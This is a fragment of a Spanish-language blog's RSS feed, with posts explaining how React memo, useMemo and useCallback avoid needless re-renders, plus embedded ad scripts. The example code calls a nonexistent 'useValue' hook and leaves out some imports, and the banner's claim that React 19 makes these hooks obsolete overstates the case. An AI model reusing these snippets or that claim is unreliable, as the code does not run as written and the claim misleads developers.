100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ChildComponent.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; ChildComponent;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/images/eliminandoMemo.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/images/eliminandoMemo.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Eliminar memo del componente hijo causa renderizaciones&#34; width=&#34;1461&#34; height=&#34;877&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;En cambio, si remueves el hook useCallback, sin remover memo, ChildComponent se re-rendizará igualmente con cada tecla presionada. Esto debido a que con cada pulsación, MyComponent se re-renderiza y la función callback se crea nuevamente, al ser una nueva función, memo vuelve a renderizar el componente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// MyComponent.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; callback &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Texto del componente hijo&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pon atención a la terminal para que aprecies las renderizaciones.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/images/eliminandoUseCallback.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/images/eliminandoUseCallback.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Eliminar useCallback del componente hijo causa renderizaciones&#34; width=&#34;1461&#34; height=&#34;877&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Por otro lado, si remueves tanto memo como useCallback, sucederá lo mismo.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;evitando-renderizaciones-con-usememo&#34;&gt;Evitando renderizaciones con useMemo&lt;/h2&gt;&#xA;&lt;p&gt;useMemo también puede ser usado para evitar renderizaciones. ¿Cómo? en la entrada anterior te mencioné que cada vez que un componente se renderiza se crean nuevos objetos, y estos objetos no son iguales, incluso aunque tengan las mismas propiedades, con los mismos valores.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; A &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {uno&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, dos&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; B &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {uno&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, dos&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;A&lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt;B&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// false&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mira el siguiente ejemplo, cada vez se re-renderice el componente por efecto de otro componente, o de un cambio en el estado se creará un nuevo objeto &lt;em&gt;statsDelMonstruo&lt;/em&gt;. Cada  que eso ocurra React preguntará en el interior de useEffect: &amp;ldquo;¿Es la variable statsDelMonstruo la misma que la vez pasada?&amp;rdquo; Y la respuesta será &amp;ldquo;no&amp;rdquo;, porque React crea un nuevo objeto cada vez, incluso aunque este objeto tenga exactamente los mismos valores que su versión anterior, son objetos diferentes.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ChildComponent from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;./ChildComponent&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; {useCallback} from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ prop }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; [hp, setHp] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useValue(&lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; [mp, setMp] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useValue(&lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// otro valores de estado&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; statsDelMonstruo &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; { hp, mp }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  useEffect(()=&amp;gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    console.log(statsDelMonstruo)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }, [statsDelMonstruo])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Otros componentes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;RenderizaMonstruo stats&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{statsDelMonstruo}&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; MyComponent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Para solucionarlo podemos usar useMemo. Nuestra función memoizadora mantendrá el mismo objeto, siempre y cuando los valores dentro de los corchetes no cambien. Ahora, cuando React pregunte: &amp;ldquo;¿Es la variable &lt;em&gt;statsDelMonstruo&lt;/em&gt; la misma que la vez pasada?&amp;rdquo; la respuesta será &amp;ldquo;sí&amp;rdquo;, es la misma variable, porque mientras las variables en corchetes no cambien, useMemo devolverá el mismo objeto en memoria.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ChildComponent from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;./ChildComponent&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; {useCallback} from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ prop }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; [hp, setHp] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useValue(&lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; [mp, setMp] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useValue(&lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// otro valores de estado&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; statsDelMonstruo &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useMemo(()=&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; { hp, mp }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }, [hp, mp])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  useEffect(()=&amp;gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    console.log(statsDelMonstruo)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }, [statsDelMonstruo])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Otros componentes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;RenderizaMonstruo stats&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{statsDelMonstruo}&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; MyComponent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si quieres profundizar más en el tema encontré un excelente &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=uojLJFt9SzY&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;video de youtube&lt;/a&gt;&#xA; donde lo explican bastante bien.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Podemos usar react memo y useCallback para evitar que un componente se renderice, inútilmente, múltiples veces por medio de la memoización. Si no sabes que es memoización o no entiendes para que sirven los componentes de react, useCallback y memo, tengo una entrada donde explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/react/react-usecallback-usememo-y-memo-diferencias-y-usos/&#34;&gt;useCallback, useMemo y memo de React, y para que sirven.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message error&#34;&gt;&#xA;    &#xA;    &#xA;    A partir de React 19 todos estos hooks quedan obsoletos, por lo que solamente utiliza este post a manera de referencia para versiones legacy de React, por favor no implementes estos hooks en tu aplicación&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>React useCallback, useMemo y memo, diferencias y usos</title>
      <link>https://coffeebytes.dev/es/react/react-usecallback-usememo-y-memo-diferencias-y-usos/</link>
      <pubDate>Mon, 02 Aug 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/react/react-usecallback-usememo-y-memo-diferencias-y-usos/</guid>
      
      <category>react</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Las funciones useCallback, useMemo y memo se usan para optimizar aplicaciones de React usando memoización, evitando renderizaciones inútiles, cada uno con sus diferencias, similitudes y casos de uso. Estas tres funciones no deben ser usadas de manera indiscriminada, sino exclusivamente en aquellas situaciones en las que su impacto sea menor que los beneficios que ofrecen.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message error&#34;&gt;&#xA;    &#xA;    &#xA;    A partir de React 19 todos estos hooks quedan obsoletos, por lo que solamente utiliza este post a manera de referencia para versiones legacy de React, por favor no implementes estos hooks en tu aplicación&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visita mi entrada donde comparto &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/react/5-librerias-geniales-de-react-que-debes-conocer/&#34;&gt;5 librerías de React&lt;/a&gt;&#xA; que no pueden faltarte en tu arsenal.&lt;/p&gt;&#xA;&lt;h2 id=&#34;memoizacion-y-manejo-de-objetos-en-javascript&#34;&gt;Memoización y manejo de objetos en Javascript&lt;/h2&gt;&#xA;&lt;p&gt;Antes de empezar pasar a las funciones hay dos conceptos que tienes que entender primero: memoización y el manejo de objetos por parte de Javascript. Avanza a la parte de useCallback si ya los dominas.&lt;/p&gt;&#xA;&lt;h3 id=&#34;que-es-memoizacion&#34;&gt;¿Qué es memoización?&lt;/h3&gt;&#xA;&lt;p&gt;Memoizar significa memorizar un valor para evitar procesarlo nuevamente, generalmente se usa para ahorrarte el costo de producir un valor una y otra vez.&lt;/p&gt;&#xA;&lt;p&gt;Imagína que quieres multiplicar los números 17 y 19. Tomarías papel y pluma o una calculadora, realizarías las operaciones pertinentes y obtendrías el resultado: 323. Si te preguntan nuevamente el valor de esa multiplicación, no vas a tomar un nuevo papel y pluma para calcular otra vez, sino que recitarás la cifra 323, sin calcularla, de memoria.&lt;/p&gt;&#xA;&lt;p&gt;Mientras te sigan preguntando por la multiplicación de 17 y 19 tu podrás devolver una respuesta sin calcularla nuevamente. Acabas de memoizar el resultado de multiplicar 17 y 19 y puedes devolverlo sin tener que calcularlo nuevamente.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es el recurso que leí para aprender algoritmos, y por lo tanto puedo recomendar. Es mucho más entendible que SICP y te enseña todo lo que necesitas saber sobre el tema, desde la complejidad hasta aproximaciones heurísticas. Consulta el resto de libros que leo y recomiendo en mi perfil.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del manual de diseño de algoritmos\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-algorithm-design-manual.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gUpFoa\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del manual de diseño de algoritmos y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender todo sobre algoritmos?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + 